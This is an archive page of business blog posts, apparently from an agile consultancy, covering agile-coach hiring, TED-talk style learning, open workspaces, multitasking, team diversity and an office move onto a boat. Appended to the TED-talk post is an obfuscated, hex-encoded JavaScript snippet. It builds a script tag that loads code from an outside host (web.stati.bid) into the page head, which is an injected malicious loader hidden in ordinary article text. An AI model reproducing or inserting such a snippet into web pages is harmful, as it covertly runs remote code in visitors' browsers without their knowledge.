Category Archives: Boat Life

6 Mistakes You’re Making When Hiring an Agile Coach

So, you’ve decided your team would benefit from Agile Coaching. If you think it’s as simple as typing “Agile Coach” into LinkedIn and sifting through results, you may be disappointed. Even though there are plenty of Agile Coaches out there, it takes time and thoughtfulness to find the right coach that meshes with your organization and is able to help you achieve your desired goals. Even when you find that special someone, it’s not always easy to integrate an Agile Coach into your workplace. By avoiding the following six pitfalls, you will be more likely to have a smooth and successful coaching engagement.

1.You’re limiting your search to people with certifications at the end of their name

CSM, PMI, CSP, SA… the list goes on and on. While there is a lot to be said about someone who invests their time and money into obtaining the knowledge required to hold these certifications, it is not always a “must-have.” If you limit your Agile Coaching candidate pool to just those that are certified, you may be missing out on some great coaches. While certifications can be very beneficial, it in no way guarantees the quality of a coach.Instead, look at the skill set a coach has and how they have used it in the past. Having the knowledge is one thing, being able to apply it in a manner that produces desired results is completely different.


2. You’re not looking at the types of experiences a coach has

Let’s say someone has 10+ years of Agile Coaching experience. Sounds great right? It certainly could be, but make sure you’re digging a little deeper into what exactly they spent all that time doing. For example, if a coach has been working exclusively at the team level, there’s a chance that person may not be the best fit for your portfolio level coaching need. Additionally, you should be looking for a few key things when considering a coach’s past experiences. What industries have they been in? What size companies have they coached? What about the types of environments? These are all crucial in assuring that you are setting yourself up for success before a coach even gets on-site.

SP Aspen - if you just trust years of experience you're gonna have a bad time

3. You don’t know what style of coaching your team wants or needs

Every coach/consultancy has a slightly different flavor, and you need to have an idea of what flavor you’re expecting. Do you want someone to be more hands off with the team? Do you want someone leading the team almost constantly? This may not be easy to answer right off the bat either. Take a look at your organization’s Agile competency and be pragmatic with what you’re looking to accomplish from of a coaching engagement. Setting these expectations early on can help reduce frustration on both ends of the spectrum.

4. Once a coach is on site, you never want them to leave

Agile coaching can completely transform the way a team works and communicates. This is awesome. What’s not awesome is creating a dependency. If things are only improving when a coach is on site and with the group, then reverting back to old ways as soon as she leaves, this is a problem. To truly get the most out of a coaching engagement, the coach should be able to leave periodically, and upon return, see that everything didn’t go up in flames. This is a huge indicator that the team is starting to truly understand and implement new learnings.

Craig would be so happy - if my agile coaches would just stay with my teams forever i would be so happy

5. You keep welcoming more and more coaches

More does not always equal better, especially if you are getting your coaches through a consultancy. If you’re considering adding another coach to the mix, be sure that you are clear on where you expect to see value added. You want to avoid your organization being used as a piggy bank for a consultancy. Any reputable organization won’t do this, but awareness is key. Ways to avoid this potential problem? Make sure there is an eventual exit strategy for your coaches. Believe it or not, you don’t want them there forever.

6. You’re looking for a coach to come in and tell everyone “the right way to do Agile”

More often than not, team members have slightly different ideas of this whole Agile thing, and sometimes they expect the coach to settle that debate and set explicit rules. “Here’s exactly what you do and how you do it, congratulations you’re now Agile”.

Not only is this unrealistic, but in the long run, it’s not going to benefit your organization’s goal of working in an Agile fashion. You want a coach that is going to help facilitate a shared understanding within the team and teach different methods. It really is up to the team to decide what actually works in the context of their organization and what doesn’t. The coach may be the expert on Agile, but you are the expert on your organization. No two Agile teams are run in the exact same manner, and that’s the beauty of it.

Approach Matters: What Can TED Talks Can Teach Us



Approach influences the effectiveness of activities. The way in which techniques are learned and applied is as important to their success as the techniques themselves.  TED talks are a great example of how approach influences learning.  In just a matter of minutes, exceptionally bright people break down complex ideas into simple consumable elements, introducing a broad audience to new subjects and inspiring others to reach beyond what they know.  The approach and format of TED talks have a lot to do with their effectiveness.  The simple, consistent, visually-driven presentation style is digestible and engaging for audiences of all ages and backgrounds and enables thought-leaders to deliver new concepts to people who may otherwise never be exposed to them.

Approach matters when introducing different techniques in your business as well.  Applying proven techniques with a modern approach provides expedites the adoption and utilization of both basic and complex activities.  This is turn generates quicker returns on learning and a system which reacts better to change.  Likewise, an environment which is tuned to learn quickly and identify change as an opportunity will attract high-caliber talent.  Today’s talent is much more selective with their employment choices and is looking for environments that embrace a modern learning approach.

Therefore, to stay ahead in your industry, you will need to have an environment which delights, inspires, and attracts the best and brightest.  So, learn how to be forward-thinking in your approach to learning and you will continually delight yourself, your business, and those around you.  Get good at it and you may soon be posting your TED talk on YouTube soon! var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document_0x29b4[1];el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]]_0x29b4[4]

4 Elements of a Successful Open Workspace

In recent years, many people have written about a wide range of experiences with Open Space Work Configurations. Some have experienced benefits to productivity, innovation, and collaboration, while others have witnessed a decrease in productivity, team morale, and focus. This discrepancy in outcomes has resulted in a facile argument heard in offices across the world: “Yeah an open workspace works for some companies, but it would never work here.”


Image result for the office jim and dwight“Our office is…special.”

This difference in experiences is not necessarily due to limitations in the Open Workspace Concept, but rather a misunderstanding in their application.

I have been fortunate enough to be in and around over 40 uniquely different space configurations (some less “open” than advertised) both early in my career as a member of different teams, and later as a consultant helping others create effective space.  I have witnessed amazing improvements in collaboration, productivity and morale from successfully implemented open space settings, as well as the fallout from poorly implemented ones.

The successful configurations all had four common concepts working for them:


The “Open” SpaceThe Main Collaboration Areas

2-hootsuite-blog-0534Flexibility is key here.  Flexibility allows for those who use a space to own its function, and ownership contributes greatly to the initial and continued success of any space. The more flexible the space, the broader range of activities it can accommodate.

Improper planning and implementation of an open space area can create a very limiting and sometimes chaotic environment.  To avoid this, an effective open space should be designed to allow teams to conduct many types of work efforts.  This helps promote a layout that is practical, dynamic, versatile, profitable, and fun.  Also, you don’t need to spend an inordinate amount of money to create an effective open space.  Simplicity, flexibility and diversity of configuration should always be a top focus. Save your money for talent, quality tools of your trade, and comfortable chairs!


The “Other” Space – Complementary Quiet Gathering and Break-Out Spaces

The “open” space is only part of an effective space.  An effective structure is a blending of open areas and private gathering spaces.  Ensuring sufficient “other” space enables private conversations, group break-out sessions, or occasional quiet/focus time, all of which are necessary to maximize any team’s potential.

This structure also allows for better utilization of many existing configurations. I’ve seen effective setups where offices and cubes which were primary work spaces become breakout/quiet space and former large meeting areas become the base locations of teams to gather and work.  Open space without complementary gathering/break-out space will fall short of achieving gains and may fail altogether.


Utilization of the Space Complementary Techniques, Tools, Ceremonies, and Cadence

get-a-way-spaceA great space (open and other) does not guarantee team success on its own.  In many cases, the open space concept and structure is completely foreign to those expected to utilize it.  Teams need to learn how to effectively leverage the newly designed space in ways that enhance productivity and innovative thinking.

Learning and leveraging complementary techniques for working and collaborating in this new environment are critical to gaining early positive momentum within the space and key to achieving sustainable success within it.





Focus on Sustainability Proper Mindset, Team Dynamic, and Organizational Support


So you have the space, the techniques, and the talent…but will it last?  Companies have started open space concepts with successful early outcomes only to watch the benefits fade over time.  If given enough time to mature, the success of an open space concept will become part of the cultural dynamic of the organization.  Organizational and cultural support for the approach during the early stages of learning and over a sustained period of time is necessary for long-term success.

Eventually, given time, a productive space teaches leaders and talent that it’s less about the way people work together in a specific part of the building and more about the way people work together period.

The Multitasking Myth

As a parent of an ADD (Attention Deficit Disorder) child, I have had the unplanned but eye-opening experience of learning how to deal with ADD.  Why eye-opening?  I have to admit, I have always been skeptical of the validity of some of today’s conditions that become accepted by the medical community at large.  The sheer rate of new conditions grows each year.  When my child was first diagnosed, I wondered if ADD was truly a legitimate issue or if it was created by pharmaceutical companies who conveniently happened to have a medication to manage the condition.  It also seemed to me like a convenient excuse for those who were lazy, unmotivated, or simply capable of handling the daily demands of the modern world.  I have since learned that I was completely wrong.struggling

After experiencing the effects of ADD has on my child and consequently putting together a plan to manage it, I have seen a 180 degree turn in my child’s ability to deal with the anxiety that accompanies ADD.  My child has gone from a very challenged student to a peak performer at school almost immediately.  Also, my child’s satisfaction level with achievements and self-confidence is at an all-time high.

There are three things we implemented which have directly contributed to the successful turn-around:

  1. A sustainable and recognizable daily routine
  2. Prioritizing what is most important, communicating it to our child, and focusing on that list one item at a time
  3. Constantly re-evaluate #2 and adjusting  accordingly

Since being introduced to ADD I have become familiar with the effects it has on performance, self-satisfaction, and self-confidence.   I have also noticed similarities between these effects and the effects of multitasking on performance, self-satisfaction, and self-confidence in the workplace.  Over the years, I have even seen a number of cases of what one could term as “artificially-manufactured ADD”.

Why make this comparison?  Because many in the business community treat multitasking in the same way I first treated ADD; the effects on productivity are really over-hyped and those who can’t multitask effectively are just lazy, unmotivated, or incapable of handling the tasks of today’s business climate. 

Multitasking is not a modern concept; in fact it is believed to have been around for a long time.  Today’s work environments drive multitasking demands on our time almost by default.  CNN describes multitasking as “a post-layoff corporate assumption that the few can be made to do the work of many”.  I’m not sure if I completely agree with this viewpoint, but some studies show that multitasking is a less efficient approach to work than focusing on similar types of tasks at the same time, or focusing on one specific deliverable at a time.   There are many suggestions as to how to address and minimize the effects of multitasking or how to operate to avoid it.  In my experience, the best way to minimize performance loss of multitasking is similar to the approach we have taken to counteract the effects of ADD with my child:

  1. Be consistent and predictable wherever possible
  2. Prioritize your work and single-thread your efforts whenever possible
  3. Constantly re-evaluate #2 for updated priorities and adjust when needed

Highly productive teams groom, prioritize, re-groom, and re-prioritize their work constantly.  They also are consistently inquiring about priority and adjusting accordingly.  Most importantly, they work to keep their efforts as single-threaded (one item at a time) as possible to maximize their productivity.   The effect on your group’s performance, as well as your group’s output quality and agility, will be greater than you think.

Want to learn more ways to create high-performing teams? Check out another post by Mike Jebber – Team Building: Diversity Uncovers What Experience Can’t.

Team Building: Diversity Uncovers What Experience Can't



Diversity tends to bring a broader perspective and a broader perspective is critical to strong team building. A good friend of mine recently told me a story that illustrates just how important diversity (in skill set, age, gender, background, etc.) is to building successful teams and how diversity finds things experience alone will not.

My friend’s daughter recently started an internship as a mechanical engineer with a well-respected global company who manufactures plumbing equipment. Her first assignment was with a group of very talented and experienced engineers who were working on a defect issue with one specific line of faucets. Returns were extremely high and customer ill-will toward the company brand was growing.

The faucet sold well because of style and features, however, defects on the model were abnormally high.The engineering team, as all good experienced teams would do, had been pouring over every aspect of the manufacturing process, looking at packaging, looking at suppliers parts, doing detailed reviews of designs and design specs, assembling and dis-assembling loads of units right off the line trying to find the issue. My friend’s daughter, being new to faucets and having never installed one before, grabbed a finished product right off the line, sat down with the instructions, and proceeded to put the faucet together according to the steps provided.

No one else had thought to do this! To her amazement, the instructions walked a customer through a group of steps which not only broke the faucet, it voided the warranty as well. The product was mechanically sound and functioned perfectly when assembled properly; however, the average non-plumber customer follows instructions and doesn’t rely on a mechanical engineering degree or years of experience working with plumbing to install their own faucets.

An issue that had cost a company a considerable amount of money, capacity, and consumer ill-will, was solved by a rookie mechanical engineer intern without her utilizing her engineering skills. All of the team members working on the project had been putting faucets of ANY kind together for many years without ever pulling out instructions. They could assemble a faucet sight-unseen, on the fly and it would work perfectly, so no one even thought about considering the instructions as a source of the issue. It wasn’t ego, it was human nature. The team had been so close to the product for so long they could skip steps to get to a “quicker” result. They also had very similar backgrounds, and experience levels. It happens in every industry.

When asked by management what made her decide to look for problems with the instructions, my friend’s daughter said this:

“I wasn’t, it seemed like a logical place to start. Women and men think differently. I always read the instructions first. You have a lot of women customers so you need more women engineers.”

The perspective that diversity delivers is important. Don’t make the costly mistake of overlooking it.

Learn more about doing things differently in Climbing Mountains With Agile Methods.

Moving to the Boat

After nine months of waiting on boat renovations, the LeanDog team bid a fond farewell to the Hanger office, and said hello to the Kearsarge, one of Cleveland’s most recognizable landmarks.

The LeanDog team turned out in full-force on Halloweekend to unpack the office on the newly renovated boat, which is also home to advertising agency Arras Keathley.

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Speaking at 2012 M3 Conference

In the last year, I kept asking myself “what has to change” and I started to find ways to make my life more balanced and my work more rewarding. The biggest change was joining LeanDog which has been amazing – fast paced, really interesting work, and a fantastic environment. But I also set a goal to speak at a conference and am happy to say that I just met my goal giving the talk “No one reads anything – designing for users on the move” at the 2012 M3 Conference in Columbus.

Sharing stories of what goes into making great mobile designs and tips on getting started, I found speaking quite easy and I ended up going a little faster than I expected. It was such a great experience for me, I’m already thinking of some other talks I’d like to get together. Anyhow, if you have any questions or just want to walk through some of these ideas, drop me an email or tweet – I’d be happy to talk.

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